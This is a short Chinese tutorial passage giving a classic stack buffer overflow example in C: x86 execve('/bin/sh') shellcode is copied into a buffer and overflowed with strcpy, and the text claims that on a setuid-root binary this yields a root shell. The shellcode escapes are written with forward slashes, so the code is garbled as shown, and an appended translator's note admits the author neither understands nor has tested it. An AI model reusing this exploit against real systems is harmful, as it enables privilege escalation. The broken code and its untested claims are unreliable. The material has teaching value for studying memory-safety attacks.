一个简单的例子
#include <stdio.h>
#include <string.h>
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
char large_string[128];
int main(int argc, char **argv)
{
char buffer[96];
int i;
long *long_ptr = (long*)large_string;
for ( i = 0; i < 32; i++)
{
*(long_ptr + i) = (int)buffer;
}
for ( i = 0; i < (int)strlen(shellcode); i++)
{
large_string[i] = shellcode[i];
}
strcpy( buffer,large_string );
return 0;
}
该程序运行后,我们成功的获取了系统的权限。
在这个例子中我们强调了两个地方:第一个是栈溢出,该程序就是利用栈溢出的原理开发的。第二个是二进制编写的用户授权id,该二进制在系统最高权限运行。这两点结合在一起之后使我们就得到了一个root权限的shell。
(注:该段落的翻译虽然还算勉强能懂,但是程序让我很费解,不明白是为什么是这样,而且由于我的系统是windows这使我无法调试和验证该溢出程序的正确性)